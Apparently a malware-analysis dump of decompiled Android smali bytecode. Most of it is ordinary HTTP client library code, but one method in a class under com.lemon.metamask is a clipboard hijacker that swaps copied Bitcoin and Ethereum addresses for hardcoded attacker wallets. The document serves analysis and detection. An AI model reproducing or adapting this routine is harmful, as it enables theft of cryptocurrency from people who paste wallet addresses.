        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "HTTP route"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP request"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "HTTP context"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        20move-result-object v0
        21const/4 v1, 0x1
        22goto_14:
        23iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->requestExecutor:Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;
        25invoke-interface {v2, p1, p2, p3, p4}, Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;->execute(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        26move-result-object v2
        27try_end_1a: return-object v2
        28catch_1b: move-exception v2
        29if-eqz p4, :cond_2d
        31invoke-interface {p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        32move-result v3
        33if-nez v3, :cond_25
        34goto/16 :goto_2d
        35cond_25:
        36iget-object p1, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        38const-string p2, "Request has been aborted"
        40invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        41throw v2
        42goto_2d:
        43iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->retryHandler:Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        45invoke-interface {v3, v2, v1, p3}, Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILcz/msebera/android/httpclient/protocol/HttpContext;)Z
        46move-result v3
        47if-eqz v3, :cond_ba
        49iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        51invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        52move-result v3
        53if-eqz v3, :cond_6f
        55iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        56new-instance v4, Ljava/lang/StringBuilder;
        58invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        60const-string v5, "I/O exception ("
        62invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        65move-result-object v5
        67invoke-virtual {v5}, Ljava/lang/Class;->getName()Ljava/lang/String;
        68move-result-object v5
        70invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        72const-string v5, ") caught when processing request to "
        74invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        78const-string v5, ": "
        80invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        82invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        83move-result-object v5
        85invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        87invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        88move-result-object v4
        90invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        91cond_6f:
        92iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        94invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        95move-result v3
        96if-eqz v3, :cond_80
        98iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        100invoke-virtual {v2}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
        101move-result-object v4
        103invoke-virtual {v3, v4, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        104cond_80:
        105invoke-static {p2}, Lcz/msebera/android/httpclient/impl/execchain/RequestEntityProxy;->isRepeatable(Lcz/msebera/android/httpclient/HttpRequest;)Z
        106move-result v3
        107if-eqz v3, :cond_ab
        109invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->setHeaders([Lcz/msebera/android/httpclient/Header;)V
        111iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        113invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        114move-result v2
        115if-eqz v2, :cond_a7
        117iget-object v2, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        118new-instance v3, Ljava/lang/StringBuilder;
        120invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        122const-string v4, "Retrying request to "
        124invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        126invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        128invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        129move-result-object v3
        131invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        132cond_a7: add-int/lit8 v1, v1, 0x1
        133goto/16 :goto_14
        134cond_ab:
        135iget-object p1, p0, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        137const-string p2, "Cannot retry non-repeatable request"
        139invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        140new-instance p1, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;
        142const-string p2, "Cannot retry request with a non-repeatable request entity"
        144invoke-direct {p1, p2, v2}, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        145throw p1
        146cond_ba: instance-of p2, v2, Lcz/msebera/android/httpclient/NoHttpResponseException;
        147if-eqz p2, :cond_e4
        148new-instance p2, Lcz/msebera/android/httpclient/NoHttpResponseException;
        149new-instance p3, Ljava/lang/StringBuilder;
        151invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        153invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        154move-result-object p1
        156invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        157move-result-object p1
        159invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        161const-string p1, " failed to respond"
        163invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        165invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        166move-result-object p1
        168invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/NoHttpResponseException;-><init>(Ljava/lang/String;)V
        170invoke-virtual {v2}, Ljava/io/IOException;->getStackTrace()[Ljava/lang/StackTraceElement;
        171move-result-object p1
        173invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/NoHttpResponseException;->setStackTrace([Ljava/lang/StackTraceElement;)V
        174throw p2
        175cond_e4: throw v2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.locks.Lock.lock
        • java.util.concurrent.locks.Lock.unlock
        • java.util.Set.remove
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.add
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Releasing connection [
        • ][
        • ]
        • for
        • indefinitely
        • Pooling connection [
        • ]; keep alive
        Position Instruction Meta Information
        1invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getPlannedRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        2move-result-object v0
        4iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        6invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        7move-result v1
        8if-eqz v1, :cond_33
        10iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        11new-instance v2, Ljava/lang/StringBuilder;
        13invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        15const-string v3, "Releasing connection ["
        17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        21const-string v3, "]["
        23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getState()Ljava/lang/Object;
        26move-result-object v3
        28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        30const-string v3, "]"
        32invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        35move-result-object v2
        37invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        38cond_33:
        39iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        41invoke-interface {v1}, Ljava/util/concurrent/locks/Lock;->lock()V
        42try_start_38: iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->shutdown:Z
        43if-eqz v1, :cond_45
        45invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        46try_end_3f:
        47iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        49invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        50return-void
        51cond_45:
        52iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        54invoke-interface {v1, p1}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
        55const/4 v1, 0x1
        57invoke-virtual {p0, v0, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->getRoutePool(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Z)Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;
        58move-result-object v2
        59if-eqz p2, :cond_b7
        61invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getCapacity()I
        62move-result p2
        63if-ltz p2, :cond_b7
        65iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        67invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        68move-result p2
        69if-eqz p2, :cond_ab
        70const-wide/16 v3, 0x0
        71cmp-long p2, p3, v3
        72if-lez p2, :cond_7f
        73new-instance p2, Ljava/lang/StringBuilder;
        75invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        77const-string v1, "for "
        79invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-virtual {p2, p3, p4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        83const-string v1, " "
        85invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        87invoke-virtual {p2, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        89invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        90move-result-object p2
        91goto/16 :goto_81
        92cond_7f:
        93const-string p2, "indefinitely"
        94goto_81:
        95iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        96new-instance v3, Ljava/lang/StringBuilder;
        98invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        100const-string v4, "Pooling connection ["
        102invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        104invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        106const-string v0, "]["
        108invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        110invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getState()Ljava/lang/Object;
        111move-result-object v0
        113invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        115const-string v0, "]; keep alive "
        117invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        119invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        121invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        122move-result-object p2
        124invoke-virtual {v1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        125cond_ab:
        126invoke-virtual {v2, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->freeEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        128invoke-virtual {p1, p3, p4, p5}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->updateExpiry(JLjava/util/concurrent/TimeUnit;)V
        130iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        132invoke-interface {p2, p1}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
        133goto/16 :goto_c2
        134cond_b7:
        135invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        137invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->dropEntry()V
        138iget p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        139sub-int/2addr p1, v1
        140iput p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        141goto_c2:
        142invoke-virtual {p0, v2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->notifyWaitingThread(Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;)V
        143try_end_c5:
        144iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        146invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        147return-void
        148catchall_cb: move-exception p1
        150iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        152invoke-interface {p2}, Ljava/util/concurrent/locks/Lock;->unlock()V
        153throw p1
        APIs
        • android.content.ClipboardManager.getText
        • java.lang.CharSequence.toString
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.String.valueOf
        • java.lang.String.charAt
        • java.lang.String.valueOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.equals
        • android.content.ClipData.newPlainText
        • android.content.ClipboardManager.setPrimaryClip
        • java.lang.String.equals
        • android.content.ClipData.newPlainText
        • android.content.ClipboardManager.setPrimaryClip
        • java.lang.String.equals
        • android.content.ClipData.newPlainText
        • android.content.ClipboardManager.setPrimaryClip
        • android.util.Log.i
        Strings
        • 1
        • btc
        • 17M66AG2uQ5YZLFEMKGpzbzh4F1EsFWkmA
        • 3
        • 0x
        • eth
        • 0xfbbb2EF692B5101f16d3632f836461904C761965
        • METAL
        Position Instruction Meta Information
        1iget-object v0, p0, Lcom/lemon/metamask/Activity/MainActivity$3;->val$clipboard:Landroid/content/ClipboardManager;
        3invoke-virtual {v0}, Landroid/content/ClipboardManager;->getText()Ljava/lang/CharSequence;
        4move-result-object v0
        6invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
        7move-result-object v0
        9invoke-virtual {v0}, Ljava/lang/String;->length()I
        10move-result v1
        11const/4 v2, 0x0
        13invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
        14move-result v2
        16invoke-static {v2}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
        17move-result-object v2
        18const/4 v3, 0x1
        20invoke-virtual {v0, v3}, Ljava/lang/String;->charAt(I)C
        21move-result v3
        23invoke-static {v3}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
        24move-result-object v3
        25new-instance v4, Ljava/lang/StringBuilder;
        27invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        29invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object v3
        36const-string v4, "1"
        38invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        39move-result v4
        40const/16 v5, 0x22
        41if-eqz v4, :cond_49
        42if-ne v1, v5, :cond_49
        44const-string v0, "btc"
        46const-string v1, "17M66AG2uQ5YZLFEMKGpzbzh4F1EsFWkmA"
        48invoke-static {v0, v1}, Landroid/content/ClipData;->newPlainText(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/content/ClipData;
        49move-result-object v0
        51iget-object v1, p0, Lcom/lemon/metamask/Activity/MainActivity$3;->val$clipboard:Landroid/content/ClipboardManager;
        53invoke-virtual {v1, v0}, Landroid/content/ClipboardManager;->setPrimaryClip(Landroid/content/ClipData;)V
        54goto/16 :goto_80
        55cond_49:
        56const-string v4, "3"
        58invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        59move-result v2
        60if-eqz v2, :cond_61
        61if-ne v1, v5, :cond_61
        63const-string v0, "btc"
        65const-string v1, "17M66AG2uQ5YZLFEMKGpzbzh4F1EsFWkmA"
        67invoke-static {v0, v1}, Landroid/content/ClipData;->newPlainText(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/content/ClipData;
        68move-result-object v0
        70iget-object v1, p0, Lcom/lemon/metamask/Activity/MainActivity$3;->val$clipboard:Landroid/content/ClipboardManager;
        72invoke-virtual {v1, v0}, Landroid/content/ClipboardManager;->setPrimaryClip(Landroid/content/ClipData;)V
        73goto/16 :goto_80
        74cond_61:
        75const-string v2, "0x"
        77invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        78move-result v2
        79if-eqz v2, :cond_7b
        80const/16 v2, 0x2a
        81if-ne v1, v2, :cond_7b
        83const-string v0, "eth"
        85const-string v1, "0xfbbb2EF692B5101f16d3632f836461904C761965"
        87invoke-static {v0, v1}, Landroid/content/ClipData;->newPlainText(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Landroid/content/ClipData;
        88move-result-object v0
        90iget-object v1, p0, Lcom/lemon/metamask/Activity/MainActivity$3;->val$clipboard:Landroid/content/ClipboardManager;
        92invoke-virtual {v1, v0}, Landroid/content/ClipboardManager;->setPrimaryClip(Landroid/content/ClipData;)V
        93goto/16 :goto_80
        94cond_7b:
        95const-string v1, "METAL"
        97invoke-static {v1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        98goto_80: return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.io.InputStream.read
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.insert
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.Integer.toHexString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.insert
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [\\r]
        • [\\n]\"
        • \"
        • [0x
        • ]
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5new-instance v0, Ljava/lang/StringBuilder;
        7invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        8goto_5:
        9invoke-virtual {p2}, Ljava/io/InputStream;->read()I
        10move-result v1
        11const/4 v2, -0x1
        12const/4 v3, 0x0
        13if-eq v1, v2, :cond_6b
        14const/16 v2, 0xd
        15if-ne v1, v2, :cond_17
        17const-string v1, "[\\r]"
        19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20goto/16 :goto_5
        21cond_17: const/16 v2, 0xa
        22if-ne v1, v2, :cond_4b
        24const-string v1, "[\\n]\""
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28const-string v1, "\""
        30invoke-virtual {v0, v3, v1}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v0, v3, p1}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
        34iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/Wire;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        35new-instance v2, Ljava/lang/StringBuilder;
        37invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        39iget-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/Wire;->id:Ljava/lang/String;
        41invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43const-string v4, " "
        45invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        48move-result-object v4
        50invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        53move-result-object v2
        55invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        57invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->setLength(I)V
        58goto/16 :goto_5
        59cond_4b: const/16 v2, 0x20
        60if-lt v1, v2, :cond_59
        61const/16 v2, 0x7f
        62if-le v1, v2, :cond_54
        63goto/16 :goto_59
        64cond_54: int-to-char v1, v1
        66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        67goto/16 :goto_5
        68cond_59:
        69const-string v2, "[0x"
        71invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73invoke-static {v1}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
        74move-result-object v1
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78const-string v1, "]"
        80invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81goto/16 :goto_5
        82cond_6b:
        83invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        84move-result p2
        85if-lez p2, :cond_9b
        86const/16 p2, 0x22
        88invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        90invoke-virtual {v0, v3, p2}, Ljava/lang/StringBuilder;->insert(IC)Ljava/lang/StringBuilder;
        92invoke-virtual {v0, v3, p1}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
        94iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/Wire;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        95new-instance p2, Ljava/lang/StringBuilder;
        97invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        99iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/Wire;->id:Ljava/lang/String;
        101invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        103const-string v1, " "
        105invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        107invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        108move-result-object v0
        110invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        112invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        113move-result-object p2
        115invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        116cond_9b: return-void
        Cross References
        APIs
        • java.security.Security.getProviders
        • java.lang.Object.getClass
        • java.lang.Object.equals
        • cz.msebera.android.httpclient.extras.PRNGFixes$LinuxPRNGSecureRandomProvider.<init>
        • java.security.Security.insertProviderAt
        • java.security.SecureRandom.<init>
        • java.security.SecureRandom.getProvider
        • java.lang.Object.getClass
        • java.lang.Object.equals
        • java.security.SecureRandom.getInstance
        • java.security.SecureRandom.getProvider
        • java.lang.Object.getClass
        • java.lang.Object.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.security.SecureRandom.getProvider
        • java.lang.Object.getClass
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.SecurityException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.security.SecureRandom.getProvider
        • java.lang.Object.getClass
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.SecurityException.<init>
        Strings
        • SecureRandom.SHA1PRNG
        • SHA1PRNG
        • SecureRandom.getInstance(\"SHA1PRNG\") backed by wrong Provider:
        • SHA1PRNG not available
        • new SecureRandom() backed by wrong Provider:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/SecurityException;
        3}
        4.end annotation
        5sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
        6const/16 v1, 0x12
        7if-le v0, v1, :cond_7
        8return-void
        9cond_7:
        10const-string v0, "SecureRandom.SHA1PRNG"
